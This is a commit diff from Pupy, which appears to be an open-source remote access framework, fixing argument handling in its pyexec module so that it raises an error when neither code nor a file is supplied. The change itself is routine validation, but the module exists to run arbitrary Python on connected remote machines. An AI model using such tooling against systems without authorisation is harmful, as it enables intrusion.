pyexec module arguments fix

This commit is contained in:
n1nj4sec 2016-01-16 13:04:17 +01:00
parent ce5a3e8d17
commit de4b0a051f
1 changed files with 4 additions and 1 deletions

View File

@ -3,6 +3,7 @@
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms # Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms
from pupylib.PupyModule import * from pupylib.PupyModule import *
from pupylib.PupyCompleter import * from pupylib.PupyCompleter import *
from pupylib.PupyErrors import *
import StringIO import StringIO
from pupylib.utils.rpyc_utils import redirected_stdo from pupylib.utils.rpyc_utils import redirected_stdo
@ -21,8 +22,10 @@ class PythonExec(PupyModule):
self.info("loading code from %s ..."%args.file) self.info("loading code from %s ..."%args.file)
with open(args.file,'r') as f: with open(args.file,'r') as f:
code=f.read() code=f.read()
else: elif args.code:
code=args.code code=args.code
else:
raise PupyModuleError("--code or --file argument is mandatory")
stdout=StringIO.StringIO() stdout=StringIO.StringIO()
stderr=StringIO.StringIO() stderr=StringIO.StringIO()
try: try: